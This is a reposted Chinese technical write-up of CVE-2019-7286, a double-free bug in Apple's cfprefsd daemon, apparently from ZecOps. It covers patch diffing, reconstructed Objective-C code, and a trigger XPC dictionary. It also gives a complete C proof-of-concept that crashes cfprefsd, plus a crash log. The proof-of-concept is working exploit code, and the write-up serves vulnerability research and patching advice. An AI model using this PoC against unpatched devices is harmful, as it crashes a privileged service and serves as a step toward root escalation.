欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  移动技术

iOS/OSX漏洞分析和再现:CVE-2019-7286

程序员文章站 2022-03-11 08:19:34
macOS是全世界第一个基于FreeBSD系统采用“面向对象操作系统”的全面的操作系统,“面向对象操作系统”是史蒂夫·乔布斯(Steve Jobs)于1985年*离开苹果后成立的NeXT公司所开发的。iOS是由苹果公司开发的移动操作系统,iOS与苹果的Mac OS X操作系统一样,属于类Unix的... ......

ios 12.1.4是2019年2月8日发布的ios的最新版本。该版本修补了ios上发现的四个漏洞。根据project zero的ben hawkes推文,其中至少有两个0day还是处于在野状态……

  • cve-2019-7286在野外被开发利用
  • 该漏洞似乎具有严重的严重性,并且可能在重新启动后也可能用于维持持久性
  • zecops能够重现此漏洞(下面的poc代码)
  • 该漏洞可用于将权限升级为root,作为ios 12.1.3上越狱链的一部分。

分析cve-2019-7286

根据apple的描述

基础
适用于:iphone 5s及更高版本,ipad air及更高版本以及ipod touch第6代
影响:应用程序可能获得提升的权限
说明:通过改进的输入验证解决了内存损坏问题。
cve-2019-7286:匿名研究员,google威胁分析组的clement lecigne,google project zero的ian beer和google project zero的samuelgroß

除了在apple的foundation框架中修补漏洞这一事实外,该描述并未向我们提供有关漏洞性质的大量详细信息。

在分析foundation框架中的补丁后,二进制差异显示ios 12.1.4的二进制文件与ios 12.1.3相比没有显着变化。下一个直接的嫌疑人是corefoundation,它显示了diaphora工具中的一些二进制差异,如下所示:

iOS/OSX漏洞分析和再现:CVE-2019-7286

通过比较补丁,我们发现cfprefs守护进程(cfprefsd)的实现有一些细微的变化。

此守护程序的手册页不太具描述性:

cfprefsd为cfpreferences和
nsuserdefaults api 提供首选项服务手动
没有cfprefsd的配置选项

几乎所有ios / os x上的软件都会在启动时使用cfpreferences选项,因此该守护程序中的漏洞可能对维护持久性也很有用。令人惊讶的是,目前还没有关于此cve的公开信息,正如人们所期望的那样,这个漏洞在野外被积极利用。

补丁分析

os x上也存在同样的错误,这有助于zecops的调查和分析。在修补程序时,对cfprefsd引入了一些小的更改,但似乎最重要的修改是在以下函数中进行的: 

[cfprefsdaemon handlemultimessage:replyhandler:]

下面是一段zecops试图重建原始的obj-c代码以及补丁(粗体):

 1 @implementation cfprefsdaemon
 2 -(void)handlemultimessage:(xpc_object_t)xpc_dict replyhandler:(callback)replyhandler
 3 {
 4   // ...
 5   cfprefmessagesarr = xpc_dictionary_get_value(xpc_dict, "cfpreferencesmessages");
 6   // ...
 7   xpc_array_count = xpc_array_get_count(cfprefmessagesarr);
 8   xpc_buffer = (__int64*)__cfallocateobjectarray(xpc_array_count);
 9   //...
10   for( counter = 0; xpc_array_count != counter; counter++)
11   {
12     xpc_buffer[counter] = xpc_array_get_value(cfprefmessagesarr, counter); // this method does not grant the caller a reference to the underlying object, and thus the caller is not responsible for releasing the object.
13   }
14   for( counter = 0; xpc_array_count != loop_counter ; counter++)
15   {
16     xpc_element = xpc_buffer[counter];
17     xpc_buffer[counter] = 0;           //patch fix
18     if ( xpc_get_type(xpc_element) == &_xpc_type_dictionary )
19     {
20       [self handlemessage_frompeer_replyhandler: xpc_element frompeer: xpc_connection replyhandler:^{
21           if (xpc_element) // patch fix
22         {
23             xpc_object_t result = xpc_retain(xpc_element); 
24             xpc_buffer[counter] = result;  
25           }              
26         }]; 
27     }
28     if ( !xpc_buffer[counter] )                //patch fix
29       xpc_buffer[counter] = xpc_null_create(); //patch fix
30   }
31   //...
32   array_from_xpc_buffer = xpc_array_create(xpc_buffer, xpc_array_count);
33   xpc_dictionary_set_value(dict_response, "cfpreferencesmessages", array_from_xpc_buffer);
34   xpc_release(array_from_xpc_buffer); 
35   for( counter = 0; xpc_array_count != counter ; counter++)
36   {
37     current_element = xpc_buffer[counter];
38     if (xpc_get_type(current_element) != &_xpc_type_null )
39         xpc_release(current_element); // first free. double free will occur when the array cfprefmessagesarr will be released.
40   }
41   // ...
42 }

漏洞详细信息

handlemultimessage:replyhandler:使用“ cfpreferencesmessages ”数组引用计数问题,该数组是xpc请求的一部分。

该函数使用xpc_array_get_value逐个将数组的对象读入内存缓冲区,这不会影响引用计数。释放缓冲区中所有元素的函数的最后一部分假定xpc对象具有所有权这通常是真实的,因为回调块调用xpc_retain并在替换原来的对象xpc_buffer但是,如果由于精心制作的消息而未调用回调(消息正文包含消息的处理程序索引。并非所有处理程序都调用回调),则会发生双重释放。

具有以下键和值的xpc将触发此漏洞:

1 poc_dict = {
2   "cfpreferencesoperation" = 5,
3   "cfpreferencesmessages" = [
4     {
5      "cfpreferencesoperation": 4    
6     }
7   ]
8 }

如果回调没有更新xpc_buffer [count], apple的补丁用xpc_null替换了原始的xpc对象因此,当xpc_null没有要释放的内存时,没有双重释放条件

漏洞复制

我们能够使用下面的poc代码片段重现cve-2019-7286:

 1 #include <xpc/xpc.h>;
 2 
 3 int main(int argc, const char * argv[]) {
 4 
 5   xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,xpc_connection_mach_service_privileged);
 6   xpc_connection_set_event_handler(conn, ^(xpc_object_t t) {
 7     printf("got message: %sn", xpc_copy_description(t));
 8   });
 9 
10   xpc_connection_resume(conn);
11 
12   xpc_object_t hello = xpc_dictionary_create(null, null, 0);
13   xpc_dictionary_set_int64(hello, "cfpreferencesoperation", 5);
14 
15   xpc_object_t arr = xpc_array_create(null, 0);
16   xpc_object_t arr_elem1 = xpc_dictionary_create(null, null, 0);
17   xpc_dictionary_set_int64(arr_elem1, "cfpreferencesoperation", 4);
18 
19   xpc_array_append_value(arr, arr_elem1);
20   xpc_dictionary_set_value(hello, "cfpreferencesmessages", arr);
21   xpc_connection_send_message(conn, hello);
22   xpc_release(hello);
23   return 0;
24 }

在ios 12.0.1上运行上述程序导致cfprefsd崩溃:

thread 6 name:  dispatch queue: serving pid 7210
thread 6 crashed:
0   libobjc.a.dylib          0x21acd6b00  objc_object::release+ 16 
1   libxpc.dylib             0x21b73bbc0  _xpc_array_dispose + 40 
2   libxpc.dylib             0x21b73a584  _xpc_dispose + 156          
3   libxpc.dylib             0x21b7449fc  _xpc_dictionary_dispose + 204                   
4   libxpc.dylib             0x21b73a584  _xpc_dispose + 156 
5   libxpc.dylib             0x21b742418  _xpc_connection_mach_event + 872 
6   libdispatch.dylib        0x21b528544  _dispatch_client_callout4 + 16 
7   libdispatch.dylib        0x21b4df068  _dispatch_mach_msg_invoke + 340 
8   libdispatch.dylib        0x21b4cfae4  _dispatch_lane_serial_drain + 284 
9   libdispatch.dylib        0x21b4dfc3c  _dispatch_mach_invoke + 476 
10  libdispatch.dylib        0x21b4cfae4  _dispatch_lane_serial_drain + 284 
11  libdispatch.dylib        0x21b4d0760  _dispatch_lane_invoke + 432 
12  libdispatch.dylib        0x21b4d8f00  _dispatch_workloop_worker_thread + 600 
13  libsystem_pthread.dylib  0x21b70a0f0  _pthread_wqthread + 312 
14  libsystem_pthread.dylib  0x21b70cd00  start_wqthread + 4 

建议

  • 更新到最新的os x和ios版本。
  • 偶尔重启iphone / ipad(例如每天一次)以从脱离非持久性攻击。